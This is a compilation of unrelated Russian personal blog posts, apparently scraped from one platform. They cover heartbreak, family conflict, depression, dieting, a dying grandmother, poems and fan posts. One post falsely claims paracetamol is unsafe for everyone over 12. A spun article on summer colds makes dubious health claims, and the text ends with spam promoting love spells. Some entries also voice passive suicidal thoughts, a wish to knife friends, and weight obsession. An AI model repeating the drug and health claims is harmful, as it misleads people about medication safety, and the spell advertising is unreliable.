всегда знала, что Москва поднасрет мне. (уж не обижайтесь, жители Москвы) решилась написать парню из Москвы, познакомится. написала, но увы я не в том месте, в котором надо, Я НЕ В МОСКВЕ. ОН СОГЛАСЕН НА ВСЕ, НО Я НЕ В МОСКВЕ И ЭТО МЕШАЕТ. не знаю, пореветь что ли..((

Установка называется - "начни новую жизнь со среды". В 100ый раз попытаюсь перевернуть страничку. Иногда, когда долго стараешься выходит. Мне 20 лет и я только сейчас (даже не знаю какая это попытка по счету) отрастила ногти. Может с этими делами так же проканает, только желательно не через десяток лет. Не хочу общаться с его другом, заходить к нему на страницу, а уж тем более к ней, следить за ними и все такое. Не хочу ныть подругам, как ущербная, тем более что все счастливы в отношениях. Хочу не жрать всякую гадость. (Я из тех людей, что горе заедают) Хочу заниматься и худеть. Хочу начать думать позитивно, но объективно понимаю что для того чтоб это выдержать буду в конце дня себе тихонечко рыдать. А, и еще, уверенна только немного продержусь, уляжется, как в ленте в контакте увижу какое-то общее милейшее фото. (Я уверенна что вспомню еще эти свои слова). Устала. Но буду стараться. Поскорей тебя забыть…

Ты ведь знаешь, что я люблю тебя, несмотря на все сложности, которые нам приходится переживать, больше всего в мире! И на самом деле ты знаешь, что только это реально, больше ничего не имеет такого значения. Я верю, что мы справимся с чем угодно, потому что мы не одни, потому что наша любовь больше чем боль, потому что только она может победить все остальное. Я буду давать тебе столько любви и заботы, чтобы все это 'остальное', неприятное и тяжелое, тонуло в их легкости, искренности и тепле. Скоро мы будем вместе, вдвоем, близко, неразделимо, сможем согреться в объятиях друг друга, забыть о том, как холодно на улице, о том, что существует универ, люди, проблемы. На один день не останется ничего, кроме нас. Я как вьюнок оплету собой твое тело, буду целовать каждый его сантиметр, отдыхать от жизни в теплой нежности твоей кожи, гладить тебя по голове как ребенка и рассказывать о том, как ты мне дорога, и о том, сколько еще прекрасных моментов и настоящего счастья нас ждет впереди.

Слишком много мыслей в голове. Их некуда девать. Я не могу их держать в себе. Меня настигает депрессия. Поэтому я попробую выписывать их сюда.

Немножко грустненько, когда все бывшие твоих подруг к ним возвращаються, а к тебе никто ни разу не вернулся. Хоть бы написал. Хоть кто-то. Неа, ни разу. Отсюда можно сделать вывод, что я была худшим человеком в их жизни. Обидненько. Немножко грустненько, когда у всех личная жизнь, а ты одна. Немножко грустненько осозновать это, и немножко грустненько рассматривать фотки счастливых людей. Немножко грустненько прогонять мысли прочь и уже неосознанно говорить, что при сексе представила бы кота, а не парня. Немножко грустненько быть никому не нужной. Просто немножко грустненько…

Только сейчас, когда на часах увидела 00:01 и поняла, что уже 2е декабря, осознала, что вчера было первое…и вспомнила, что это за день. Это обьясняет почему мне было так странно вечером. Да, именно странно. Вроде и спокойно, но, в то же время, не по себе. Как это я в течении дня об этом не вспомнила. Интересно, а ты вспомнил? Думаешь ли еще о том, что было? Я чувствую, что да.

Ноутбук накрылся полностью. А жаль, ведь только счас, в эту ночку я захотела посмотреть бесстыдников, ну или американскую историю ужасов, но увиии…пшшшш! Мои опять выпили, а значит отчим опять начнёт говорить, какая я блядина. У нас любовь с ним просто уххх ;) Любят же меня обсирать. В прошлую пятницу допустим, меня обосрали собственные друзья. Хотя каждую встречу, что Он, что Она обгаживают меня. Но в прошлую пятницу, чаша переполнилась. Всё. Так же было и с ним, со скорпионом. Теперь и с ними. Не хочу, заебали. Устала. Окружена блядь людьми, которые видят во мне только дерьмо. Есть искл. Конечно. Вот им я и дарю любовь и тепло. Как вспомню. Пятница вечер. Я со своими сижу в кафе. Пришла лучеком света, но под конец из-за их колючих слов. Во мне разрасталась тьма….мне тяжко было дышать. Тяжко держать этот негатив. Захотелось не просто убить словами, хотелось достать ножь из сумки и по ебалу. Но я отшучивалась и улыбалась. А мысленно уже не с ними. Ни с кем. Раньше боялась всех терять. Его. Их. Теперь мне походу никто и не нужен. А этих сук я ещё разорву. Ведь для них я никто. Тряпка. Так видете меня. Нум-с флаг вам в руки.

Я уже говорила, что не хочу уезжать? Сегодня хозяева предложили остаться до нового года. Давайте помолимся всем богам, станцуем шаманский танец, скрестим пальцы и будем надеяться, что это поможет моим родителям разрешить мне остаться здесь на две недели больше положенного срока.

Всем привет!) Сегодня был просто шикарный день, а точнее вечер)
Утром на пятерку сдала экзамен по украинскому, потом дома поела рыбку, поиграла с Виталиком в доту!!!, поспалаа и начала собираться в кино.Уже на остановке мы начали немного смеяться, но его подруга Аня меня немного смущала.

Моя опекун, которую я называла матерью, решила окончательно испортить отношения со мной. Словно заново пережить смерть родителей и понять, что все же мы с сестрой одни-как -то хуево…..

А вам встречались солнечные люди?
Мне с ними кофе кажется вкусней,
Душевная промозглая простуда
Проходит сразу от таких людей.

Они вам греют зябкие ладони,
Рисуют солнце среди мрачных туч.
Какая редкость солнечные люди!
Я в них всегда влюбляюсь по чуть- чуть.

Они гуашью самой-самой светлой
Рисуют мир открыто для людей,
Хочу сказать спасибо им за это,
За то, что мир наш делают теплей!

Вы скажете, что вроде не встречали,
Что глупости все это, как всегда!
А я таких людей по жизни знаю
И даже их целую иногда…

"Ты просто идиотка, которая не понимает своего счастья! Какого ты вообще распускаешь сопли-то?"
Серьезно? Ты правда так думаешь? И правда хочешь поменяться со мной местами, дорогая? А, ну да, конечно, у меня же такая прекрасная семья: мама, папа, младший брат. Они не заставляют меня учиться там, где мне не хочется, мило троллят, улыбаются, не выбирают круг общения и т.д. А знаешь ли ты, прелесть, что если мне, например, нужны деньги, то это мои личные проблемы? ну, или фиг с ними, с финансами, сама уже должна зарабатывать, знаешь ли ты, что все мои мысли, проблемы, переживания, взаимоотношения их не очень-то волнуют - сама справляйся, не маленькая уже. Знаешь ли ты, что когда я (да, по собственной дурости) слетела со стипендии, я получила от низ парочку злорадных улыбок и ядовитых фраз? Знаешь ли ты, что меня выгоняли из дома за курение, что своего отца я вижу хорошо, если раз в месяц, что мама попрекает меня чеком из кофейни? Знаешь ли ты, что я о себе слышала, когда папа ругал брата? Каково это, когда о тебе говорят, как о потерянном человеке, а тебе всего 15-16-17 лет, и ты сидишь в соседней комнате и слышишь все это? Ну что же, давай, я согласна, забирай их себе.
Ну что, поговорим о принце? О том самом, который на белом коне? Том самом, который "луну с неба" и "к ногам полцарства". Так вот, его не очень-то волнуют мои планы на вечер, если вдруг ему что-то надо. Или моя вывихнутая лодыжка, или усталость, или желания. Его девушка должна быть послушной. Мило улыбаться, выглядеть, как с обложки, не говорить лишнего, пить именно это, танцевать ровно столько, одеваться только так и НЕ ДОСТАВЛЯТЬ ЕМУ ПРОБЛЕМ. И я, ты знаешь, даже не могу от него уйти без его согласия. Ты все еще хочешь поменяться со мной местами? Ты все еще хочешь себе мою жизнь? На, бери. Только учти, товар обмену и возврату не подлежит.

Ошеломляюще, но это факт, что приблизительно 20 процентов абсолютно всех внезапных простудных заболеваний приходится на знойные летние дни. И как же становится досадно, когда на улице ясно солнышко сияет, а у тебя из носа капает, частое чихание, непрерывный кашель, в горле першит. Более того, что ни одно зимнее время без долговременного ОРЗ, гриппа редко когда обходиться, так омерзительная простуда, как гром среди ясного неба, появляется еще и в жару. По наблюдениям врачей, подавляющее большинство моментов заболевания тонзиллитом, простудой, пневмонией, бронхитом приходится не на зиму, а как раз в жару. И, практически, внезапные простуды в летнее время происходят долговременнее зимних, так как в теплое время мы обычно опрометчиво относимся к появившимся признакам болезни, полагаясь, что она очень быстро пройдет сама, и нужное исцеление активизируем с существенным запаздыванием.

Всем известно, что летом, как раз в немыслимую жару, легко можно простынуть, как, например, остыв под вентилятором, измокнув под дождем, промочив ноги, перекупавшись в реке, побывав на сквозняке, злоупотребляя мороженым, холодными напитками.

Опасность заполучить летнюю простуду возрастает в мгновение ока из-за проглоченного в палящий зной мороженого, плавания в прохладной водной стихии, или иначе говоря, неверного употребления кондиционера. А к тому же имеется сырой купальник, который не всегда можно спешно переодеть, распахнутые полностью окна в автомашине, электрокондиционер, усиленно работающий, пока мы умиротворенно спим, формируя одновременно уют и вредоносный сквозняк.

А известно ли вам, что около 200-250 всевозможных микробов могут спровоцировать простуду, которая, несомненно, формируется, в большинстве случаев, на фоне внезапного переохлаждения.

В зной наше тело напоминает кипящий чайник, поэтому являясь домой или в офис, ладонь непроизвольно тянется к холодненькому напитку или вкусненькому мороженому. И насколько хорошо сесть под кондиционером и ощутить его прохладненькое, энергичное дуновенье. Как расплата за это беспечное поведение в ближайшее время могут возникнуть присущие симптомы простуды: головная боль, кашель, рост температуры, першение в горле, ринит.

Как бы ни было в жилище знойно, стоит помнить, что отворенные окна во всех подряд комнатах порождают сквозняк, который постепенно, приятно остуживает взмокнувший организм, и такое отличие температур "разваливает" наш организм и все полностью получают простудное заболевание!

А уклониться от летних простуд, как, казалось бы, вовсе нетрудно, ведь нужно просто-напросто не купаться в студеной воде, не устраивать сквозняк, не употреблять мороженое, не пить прохладных напитков, не злоупотреблять кондиционером!

Однако перечисленное в летний сезон так неосуществимо!

Можно, конечно, подойти с иной точки зрения к данному вопросу, воспользовавшись народными рекомендациями.

Мороженое есть неторопливо, маленькими порциями, напитки пить небольшими глоточками, на несколько мгновений задерживая их во рту народные рецепты от насморка.

Но когда все же возникли первые, непредвиденные черты простуды: жжение в носоглотке, легкая заложенность носа, упадок сил, першение в горле, кашель - требуется тотчас начинать усиленное лечение - неоднократно ополаскивать горло, пить больше теплой жидкости, употреблять в пищу большое количество различных витаминизированных блюд, особенно, с витаминами С, А, Е. Эти и другие ценные витамины находятся в шпинате, печени, брокколи, клубнике, черной смородине, моркови, крыжовнике, абрикосах и т.д.

Укрепляйте иммунную систему именно в теплое время года, прислушайтесь к рекомендациям, не болейте, ведь если нехолодно, несомненно, требуется всласть, толково гулять на свежем воздухе, загорать, ходить за грибами, купаться, но никогда не болеть!

Веду что-то вроде личного дневника. Что называется "когда нахлынет волна словоблудия". Это какая-то психологическая методика и она реально работает. Просто облекаешь мысли в слова, пишешь в саркастической манере обо всем дерьме, перечитываешь и - вуаля! - легче становится. Попробуйте.

• если бы не я со своим отношением к учебе, я бы сейчас заканчивала пятый курс и уехала бы нахер в Голландию.
• так как я далеко не на пятом курсе, то никакая Голландия мне не светит, мне не светит наверное даже продолжение моих первых отношений
• selfhate
• хочу, чтобы голландец приехал в Россию летом, увидел все своими глазами, московское метро, покровку, казань, русскую глубинку, но не факт, что мы доживем до лета.
• завтра зачет по русистике
• я не понимаю немного, как пережить то, что когда-нибудь я больше никогда не посещу ту комнату, мне не будут готовить самые вкусные чизкейки и тирамису и яблочные пироги, да и просто не будут готовить вот эту простую, но вкусную еду, заботиться обо мнеаааааааааааааааа-а-а--а-а-а все остальное тоже, но еда-то!

Мне, почему-то, так тошно.
Хотя, собственно, не почему-то. Просто неделя как-то совсем безрадостно началась. И продолжается тоже безрадостно. Два дня скандалов. И я ведь знала об этом сегодня днем, точно знала, что опять будут крики и истерика, и хотела сбежать, но не успела: сначала готовила еду, потом мыла посуду, разбирала завалы собственных шмоток, зачиталась всё тем же блогом, и не успела. Обидно. Ведь я сдала экзамен, так старалась быть хорошей дочерью. Но, видимо, мало. Что бы я не делала, этого всегда мало. Ну, то есть, нет, я не прыгаю выше собственной головы, но на каждое мое "что-то хорошее" я получаю в ответ в лучшем случае ядовитый вопрос "ну, и где ты накосячила?", а в худшем… А о худшем я, пожалуй, умолчу. Нет, я не Золушка, даже примерно. Нет, я не идеальная дочь, далеко не идеальная, знаю, но все же… Со мной ведь можно поговорить. Можно прийти к компромиссу, можно спросить, что случилось, можно улыбнуться, можно разбудить негромким "доброго утра", можно спросить, хочу ли я завтракать, можно сделать чай (или хотя бы просто включить чайник), можно на что-то закрыть глаза, можно ценить меня больше, чем мнение каких-то чужих, в сущности, людей, можно не обвинять меня во всех смертных грехах, можно интересоваться какой-то иной частью моей жизни, кроме учебы, можно перестать, наконец, напоминать мне о человеке, которого я никак не могу забыть, можно ведь?
И теперь я чертовски устала от людей, но находиться дома так мерзко, что уж лучше с кем угодно и где угодно, только не рядом с ней.
Настроение все еще где-то на отметке "паршиво", и вряд ли это в ближайшее время исправится, да. Забери меня отсюда, а - я соскучилась. Безумно. Но кого это волнует, правда?

играю со случайностью. открываю soulseek, файлы случайного человека, с помощью генератора случайных чисел выбираю папку и качаю ее содержимое. ничего не гуглю о группе, просто слушаю. это интересно, попробуйте. мне нравится, что так можно выйти за границы жанров музыки, которые обычно слушаешь, открыть что-то новое.

Великая любовь никогда по-настоящему не кончается. В неё можно стрелять из пистолета или запихивать в угол самого тёмного чулана в глубине души, но она умна, хитра и изворотлива, она сумеет выжить. Любовь сумеет выжить и потрясти нас внезапным появлением тогда, когда мы совершенно уверены, что она мертва или, по крайней мере, надёжно упрятана под грудами прочих вещей.

" По ту сторону безмолвия "
Джонатан Кэрролл

привет, я люблю тебя.

холод дикий, ветер касается моего пульса.
я не могу всё никак привыкнуть, словно бы сплю, и нет сил проснуться.

до нового года всего дней тридцать… да к черту такой новый год мне сдался, если твой город с моей столицей
так далеко, что не докричаться?

вот бы посыпались с неба звёзды - я загадала бы нашу встречу. верить, конечно, нельзя серьёзно, но успокоиться больше нечем.
все, что казалось мне самым важным просто с улётом моим померкло.

знаешь, как я ненавижу каждый нас разделяющий километр?

ветер касается моего пульса, холод рисует на ребрах болью,
и сумасшедшее это чувство, словно ложатся твои ладони,
словно ты рядом…
и пусть минуту,
пусть показалось, но все же лечит.

привет, я люблю тебя.

с каждым утром
ближе и ближе
с тобою встреча.

Я здесь, когда мне хочется побыть одной.
-Побыть с тобой.
Когда тусклый свет шумной Москвы
Для меня будто стал немой.

Я здесь - свирепый больной
Заточенный в стенах
Стремящийся к кромке небес

Голубой манит цвет
Совсем не похожий на оттенок,

Родной, глаз твоих
Я не с тобой, мой друг
Я больной
И как больно, мой друг
Я не с тобой

Женщина словно татуировка. Ее замечают: одни критикуют, другие любуются. А где она будет у тебя красоваться: на руках, на шее, на груди или ниже, зависит от щедрости твоей души и фантазии разума. Только помни, что если ты захочешь с ней расстаться, шрам в любом случае останется на сердце, если не у тебя, так у нее.

Девочки, очень важная информация!

По личным причинам была вынуждена удалить контент блога и в последствии будет удаелен и сам блог, так что Я создала для Вас новую страничку, где буду писать дальше и чаще, так же выкладывать фото, так что все, кому интересно, приходите туда!

https://fitlove.viewy.ru

Всем Добра!

Уж лучше быть одной, чем с тем, кого любишь, а он тебя не очень? Да? Скажите "да".Точнее он тебя любит, но не хочет отношений, не видит будущего. Разве оно стоит того, чтобы держаться за это.

https://ask.fm/AnnShvartsmayer

Живите и любите свою жизнь, ведь она прекрасна!

Всем привет! Это Мой второй блог. Певрый Я удалила по личным причинам. Буду рада видеть здесь всех, кто следил за Мной ранее, а так же Всех тех, кто просто интересуется здоровьем, спортом и активным образом жизни!

Мой прошлый блог: stroynashka.viewy.ru

Ровно через неделю, после той аварии, снова начал болеть коленный сустав.
Лежала ещё вчера, уже засыпала, и тут почувствовала тянущую боль в затылке, как стучит моё сердце, пульсирует височная артерия (да-да, к тому же ещё кто-то только что закончил сердечно-сосудистую систему по пропедевтике). Я и так знаю, что у меня всегда были проблемы с сердцем, я наблюдалась у кардиолога, но никаких проблем особо не было. И тут весной этого года я резко поправилась, у меня появилась одышка даже при обычной ходьбе, одышка, даже когда автобус подпрыгивает на кочке, одышка, когда стою в горячем душе. А сегодня утром, когда просто так сидела на физре, у меня вдруг резко схватило сердце буквально на 1 секунду, но так сильно, что у меня полились слёзы из глаз, и я ещё минуты 3 не могла нормально надышаться. И вроде бы надо к врачу. И я сама постоянно ругаюсь на тех людей, которые не ходят по врачам. Но когда с моей учёбой туда идти?! Это так смешно, учусь на медицинском, а сама не могу к врачу сходить. Ибо это пропустить важную утреннюю пару, т.к. надо к терапевту; потом получить направление к кардиологу\ревматологу; потом сходить к этому кардиологу, а это ещё минус одна важная пара; потом ещё и обследования назначат - снова пропуски пар. Я с такими темпами тогда погрязну в отработках. Конечно, если моё здоровье не возьмёт верх. Хотя ладно, без меня этот мир хуже не станет.

Давно откладывала этот пост из рубрики #medicinehack, не знаю почему. Но, видимо, пришло время. К тому же, увидела совет одной болеющей девушке, вот и решила написать.

Не знаю, как давно это пошло, но многие люди, когда болеют простудными заболеваниями, до сих пор пьют парацетамол . И очень зря. Дело в том, что в нашем организме есть такая штука - цитохром Р 450 (знаю, многим это ни о чём не говорит, но читайте дальше). И вот один из путей биотрансформации парацетамола, как раз через тот самый цитохром Р 450. Что же это, в общем, значит? А это значит, что парацетамол трансформируется в нашем организме в токсичные метаболиты по этому пути, которые довольно опасны для нашего организма. Да и к тому же у парацетамола очень небольшая терапевтическая широта, т.е. выпил чуть больше - отравление. Именно поэтому парацетамол НЕ РЕКОМЕНДУЕТСЯ пить всем после 12 лет. Но детям до 12 лет парацетамол давать можно. Это связано с тем, что у них есть недостаточность того самого цитохрома Р 450, и токсичные метаболиты не образуются. И именно поэтому его очень широко применяют в педиатрии как жаропонижающее и болеутоляющее средство.

И да, ещё одна пометочка (как раз kalinare напомнила мне это написать). Температуру сбивать жаропонижающими можно только тогда, когда она долшла до отметки 38,5. НЕ НАДО пить лекарственные препараты, если ваша температура меньше 38,5. Это значит, что организм САМ пытается бороться с инфекцией, и это ХОРОШО. А вот при 38,5 ваш организм уже начинает не справляться, и только тогда ему нужна помощь.

В общем, подытожу. Парацетамол можно пить только детям до 12 лет. А вот взрослым лучше пить ибупрофен. И пьём мы жаропонижающие только тогда, когда наш градусник показывает 38,5 и больше. Думаю, сейчас это очень актуально, т.к. пришла пора простудных заболеваний. А вообще, лучше не болеть ;)

Ребят, насколько это комично и смешно, что когда я решила наконец пообщаться с этим парнем, я увидела в инсте одной знакомой фотки с ним. На комменты встречаются ли они, она не отвечает. И меня это тронуло. Фото с ним. Как же хочется рвать и метать;( Что же теперь делать. Познакомьтесь с неудачником по жизни.

Я верю будет:
уютный домик, родные руки, воскресный полдник,
когда все вместе, без "если", "занят",
всем сердцем любят, когда не ранят…

Я буду!
Буду, накинув фартук, на кухне тесной готовить завтрак.
Оладьи, кофе, цветочки в вазе. И этот мир наш не смогут сглазить.

Когда же в двери украдкой подлой стучаться будет беда у дома,
её я встречу.
И знай, не струшу!
Я не позволю, забраться в душу обидам мелким, ненужным ссорам.
И ты же рядом, моя опора.

Мы будем! Будем!
…Под общей крышей, зимой холодной из летней вишни
варенье лопать с горячим чаем,
и ночью поздней тебя встречая, я буду слушать про день твой трудный…
А за окошком декабрь нудный порошей будет мести без толку, и я поставлю на стол и полки немного фото - моменты счастья.
Мы станем дома особой частью.

Ты знаешь, будут и сын и дочка.
Еще не ляжет из закуточка луч первый солнца к твоей подушке, а ты услышишь уже на ушко: "Вставай, папуля! "
И звонкий хохот.
Так день начнется наш суматохой…

Остаюсь в универе до последнего. Улыбаюсь парням с вечерки и странным мальчуганам в курилке. Похудела на пару кг, теперь вешу полтос. Болтаю с этими придурками. Тупые и пустые. Мне просто надо вести себя так, чтобы ему отношения были не в тягость, а заодно его разлюбить. Я люблю того, кто был а прошлом. А тут появилась очередная пустота. Пустота в нём. Что ж делать то.

С завтрашнего дня все заново. В этот раз ещё начинаю ходить в зал

Chris Evans

+

Безумно уставшая, засыпающая, но не могу не написать этот пост. Ещё один день в копилку. Он прошёл спокойно и хорошо, я нормально питалась и засыпаю с лёгким чувством голода. Читаю Остин. Страсти накаляются, и я уже не могу остановиться. Сегодня ноги ноют целый день после вчерашнего, а завтра ещё тренировка. Скорее всего даже две! Хотя над второй ещё думаю. Люблю спорт. Вечером намазала брови касторовым маслом, и вчера тоже. Сделала задание по бухучёту. И сделала маску из Бадяги для лица. Думаю, день прошёл по максимуму эффективно! Всем добрых снов и активного нам завтра дня!

думала, почему когда разговоры заходят на какие-то близкие мне или довольно личные темы, я всегда становлюсь слишком эмоциональной, если не неадекватной. люди спокойные, рассудительные, чётко излагающие свои мысли- конечно, очаровывают. не знаю какое самообладание надо иметь, какую привлекательную холодность, или иногда циничность. какую-же непонятную притягательность в своей сдержанности или легкой небрежности, если не сексуальность имеют такие персонажи. пожалуй, что бы спокойно говорить о чём-то, надо что бы тебе было в определённой степени на это что-то наплевать. сложно говорить без пыла о предмете, тебя задевающем. если в тебе нет особго запала, когда твоё воодушевление передаётся другим, когда не можешь говорить так, что бы глядя на тебя загорались другие, не принадлежа ни к первому, ни ко второму типу, ты оказываешься обычным человеком, "повёрнутым" на определённых темах, и, зачастую, зрелище это бывает немного жалким. как часто ты говоришь о том, что тебе кажется важным, при условии что это находит полный отклик у собеседника и действительно является диалогом, и ты точно знаешь что вот в этот самый момент он не думает "ну, чувак, занесло тебя, конечно"? то, что мы любим, то о чём готовы говорить часами, часто делает нас больными и жалкими маразматиками, фанатиками, по крайней мере, так оно порой выглядит со стороны. и это тоже нас добивает. невозможность говорить о том, что действительно для тебя важно, или принятие важности чего-то конкретного, без чувства неловкости за свои интересы. то, что нам важно, делает нас слабыми, и вполне способно разрушить. может поэтому и важно что бы тебе было на всё в какой-то степени наплевать. что тогда сможет нанести тебе вред?

Каждый раз, когда Она знакомилась с новым мужчиной, Она сразу представляла, как Они просыпаются Вместе с утра. Она видела как солнце ласкает кожу на Его спине. Как Он смешно морщит нос от лучиков, попадающих на лицо, заложив руки под подушку. Как скатилось до пояса мягкое одеяло. Она даже представляла есть ли у Него веснушки на плечах. А эти плечи… Эти мужские сильные и крепкие плечи были её космосом – её гарантом счастья.

Она видела, как Он просыпается. Видит её. Улыбка пробегает по Его сонному лицу. Он достает одну руку из-под подушки и притягивает Её к Себе. Она морщится, смеётся, но не сопротивляется.

Она видела, как гладит эту спину, целует нежно в седьмой позвонок, ложится головой на неё и замирает в тихом предвкушении счастья, которое обязательно принесет этот день.

На улице зима.

Странная девочка, да? Ведь это все происходило во время первых секунд знакомства с мужчинами. Вот Он спрашивает, как Её зовут (чаще всего переспрашивает незамедлительно еще раз), а Она в Своей душе уже целует Его плечи ранним солнечным зимним утром.

И наверняка Она сошла бы с ума, если бы такое происходило каждый раз. Но от чего-то такая реакция была только на мужчин, которые в последствии Ей нравились. То есть все остальные «неприятные» элементы Её повседневности не имели доступа к этому блаженному зимнему утру.

Она видела, как Она танцует на Его кухне. Как Он выходит из душа и застает Её за этим занятием, пока Она готовит завтрак. Как Он тихо смеется от умиления, стараясь не выдавать Своего присутствия. А потом резко, не выдержав всей сцены, Он присоединяется к Ней, хоть и совсем не умеет танцевать – может, это только Он Сам так думает.

Она видела, как идет на первое свидание к Нему. Несмело, но собрано. С видом соблазнительным, но ничего не обещающим. Она чувствовала чулки на Своей коже, кружево белья и шелк. Да, это непременно должен быть шелк, Ей так почему-то казалось. Юбка и туфли на шпильке – в этом была вся Она. Такая юная, свежая и ослепительная в смеси нежности, непорочности и неприкрытой сексуальности.

И, вот, стоя перед Ним в чулках и кружевном белье, единственное о чем Она могла думать были Его плечи, которая Она будет непременно целовать, когда проснется рядом с Ним завтра с утра.

gifs by x

отрывок из 11х08 х

опять не оценили Динову изобретательность в придумывании названий :))

Иногда кажется, что ты правда сломалась. Но потом наступает день, в который ты черт знает сколько лет назад родилась (чувствую себя старой и юной как никогда одновременно), и тебя окружают нереальным количеством теплоты и искренней любви, когда тебе показывают, как отчаянно нуждаются в присутствии тебя в их жизни, как невероятно значима ты для каждого из них, вот тогда и понимаешь, что покажешь всем этим лузерам вокруг, насколько ты сильная, и насколько сильной еще можешь быть, и с широченной, сводящей скулы, улыбкой на лице пойдешь дальше. В прекрасный новый мир. В еще один год этой чертовой очаровательной жизни. Привет.

Бухнуть пора

А начиналось то все хорошо.

Началось с того, что я ушла с последней пары. В итоге там осталось 5 человек и преподаватель сказал, что позвонит нашей кураторше по поводу посещаемости. Если он это правда сделал, то завтра мне и всем остальным будет полный разнос.

А дома, я решила попить водички и разбила свой любимый бокал! Я плакала, серьезно плакала. Потому что это была последняя капля в мою переполненную чашу, которая разлилась. Плакала сразу из-за всего, что гнетет сейчас, что лежит грузом, который нужно срочно сбросить.

Декабрь, ты начался не очень хорошо. Пожалуйста, не будь таким все оставшиеся 30 дней.

сколько себя помню, он первый.
первый, о ком не думалось что-то вроде " ненадолго", или "несерьезно", или "классный, но не мой тип", или - " будущее с ним будет провальным".
первый, с кем я действительно смогла бы.

поэтому все свои ошибки и не верные поступки я не считаю глупыми. "попытка - не пытка" и знаешь, он того стоил. я совсем не знаю его, но знаю самое главное - мне с ним комфортно, мне с ним кайфово во всех планах, мне с ним хочется быть. он первый такой и перечеркнул разом всех. и даже имя у него такое же, как у того, от кого ушла месяц назад (успешно короткий срок реабилитации, а, Жень? всё потому что уходила от того, кто мало ценил и считала это своим долгом), и имя это воспринимается теперь по-другому. И не важно, что у него ко мне одни нули. Я поняла, как должно быть. И за это ему невероятное спасибо.

я думала над этим постиком час и никто не представляет с какими страданиями я отдавала эти строчки другим знакам зодиака (ТЫ РАК Я РАК ЗАКАПАЛИ РАКОМ)

овен // afрики: у тебя аллергия на шоки, у меня аллергия на ласки

телец // рубеж: нет мира, кроме тех, к кому я привык, ни с кем не надо нагружать язык, а просто жить рядом и чувствовать, что жив

близнецы // нэцке: догораю, но в полночь к дровам, бледно скалясь, бросается мозг, и трещит, и плетет кружева

рак // только ты: пуля у виска, пуля наверняка, улыбайся только своим; любить невозможно всех, к черту мне такой успех, улыбайся только своим

лев // время года зима: я не смею поверить, что старость и мой удел, время года зима, ты меня проглядел, ты меня просмотрел как нон-стоп, как кино во сне

дева // автомобильный блюз: кивок, поцелуй, ритуал безупречен: что еще нужно мне?

весы // страха нет: и свобода потечет в мои плечи-паруса, и закатом подо мной вспыхнут алые леса, я ручная - не бросай, у нас север за спиной, ты других не встретишь птиц, даже тени

скорпион // юго 2: ты волк, я волк, закапали кровью, слезами друг в друга мы

стрелец // спокойной ночи: лучше бредить островами, жить с пустыми рукавами, но свободному, перелетному

козерог // что мы делали прошлым летом: и так до тех пор, пока ты не понял, что прелесть охотника в жертве, а жертва и есть охотник

водолей // абсолюты: ты выбрал клетку, я как всегда - свободу, быть одиночкой мне не привыкать

рыбы // я люблю того, кто не придет: а мы с тобой уже далеко от земли, ты умеешь летать, я умею любить, ты любишь мечтать, а я люблю петь

гребанная анатомия, гребанная гиста, гребанная бх, гребанное физо.

Я ТУПОЙ ТАПОК

+

gifs by x

Fire Tornado in Slow Motion

Просто вывожу себя мыслью, что все кончится. Говорила же себе, не привязывайся, не влюбляйся. Идиотина

Бабоньки, как перестать рыдать, а

Мальчики прибыли в Гонконг для участия в "MAMA" 2015.

Чонин весь в чёрном, OMG-OMG-OMG *.*

Выглядят уставшими: /

КАК ЖЕ Я ХОЧУ ПЕРЕСТАТЬ ЖРАТЬ ПЛАКАТЬ СТРАДАТЬ

А еще, ска, хочу весить 50кило, иметь талию в 60см. Чтобы выглядеть маленькой, хорошенько. Но я слабовольная чмошка

Никак не могу себя заставить взяться за презентацию и подготовиться к завтрашней конференции. Я не настроена сейчас на физику с ее глобальным потеплением. Сейчас мне бы хотелось полежать в обнимку с молодым человеком и говорить о всякое ерунде, вроде подсвечников и фонариков

Пойду ка я в кроватку, позвоню любимому и буду засыпать под родной голос. А утром, проснусь в 5 и на свежую голову сделаю всё, что надо.

Утро вечера мудренее, так ? :)

Мне нравится слушать от людей об их жизни, детстве, казусах. Это действительно интересно. Просто говорите без перерыва, прошу.

Как же я паршиво себя чувствую. Господи, просто я боюсь, что я РАЗОНРАВИЛАСЬ ТЕБЕ. Я так этого боюсь. Я люблю тебя, люблю. Первый раз в жизни такие эмоции испытываю. Ты просто не можешь представить бурю эмоций в моей груди. Я боюсь, что ты уйдешь. Черт.

Thomas Sharpe | Artwork by bylorang

Первый день зимы.

А я и не знаю что сказать.

Декабрь, привет?

Врачи говорят ей осталось несколько дней. 4 стадия рака. Но я благодарна вселенной за то, что я смогла оказаться у ее кровати, подержать ее за руку, пока она тихо спит.

Моя бабушка.

И это всегда где-то далеко. Всегда где-то в других городах, странах, в других семьях, в чужих домах и в передачах по телевизору.

А сейчас это со мной. Сейчас моя бабушка умирает. Сейчас моей бабушке врачи не смогут ничем помочь.

Сейчас я не могу найти слов, не знаю что говорить маме, не знаю как унять эту боль, не знаю как за несколько часов выразить ей всю мою любовь.

Я в пути, где-то на 262 километре трассы М1. Я дома. Я в кровати. Я молчу. Я плачу.

Так страшно понимать что в следующий раз я увижу ее уже…

НИКОГДА.

В решающие ситуации приворот и заклинания это краяняя надежда. Сложности в вопросах финансовых, личных или же просто несчастье застают в расплох. Решение в самом деле можно найти, главное - искать его и не унывать. На протяжении жизни каждой девушки создается подобный период, когда обреченность и уныние переполняют душу и жизнь утрачивает значение. В моменты трагедии выполнить верные шаги для реализации данной задачи, следует расчитать рациональное решение, не следует забиваться в угол.

Заклинания помогают стать, кем мы желаем, иметь поблизости тех, с кем можно было бы прожить всю жизнь, направить жизнь в требуемом направлении, стать богаче и предприимчивей. Как правило привороты преподносят нам возможность переделать судьбу и исправить ошибку.

Уберегите отношения от неверности и расторжения брака, спасите брак, разверните удачу на себя, наладьте отношения в семье, с руководством, будьте дорогой и любимой. Привороты, собранные на нашем сайте, дадут справиться с абсолютно любыми ситуациями, еще раз заполучить счастье, возродить прежние взаимоотношения, украсить каждый день Вашей жизни.

Плюс ко всему приворотом является направление сгустков энергии на моменте восприятия. Здесь рассмотрю, что же символизирует собой приворот. Приворот является обрядом, руководит человеком на бессознательном уровне, в следствии чего у него возникает стремление оказаться рядом со своей девушкой. Рассуждая понятиями медиумов и заклинателей, приворот – есть создание или возобновление связей, на колдовском уровне, появившиеся.

Подсознание если магический ритуал мужчины или женщины осуществлен на совесть, станет откликаться на заказчика церемонии. Если влиять на внутреннюю зону человека, то скажется на подсознании. Маг управляет энергетикой девушки и мужчины ощущает физическое либидо и понимает его за свои мысли и переживания.

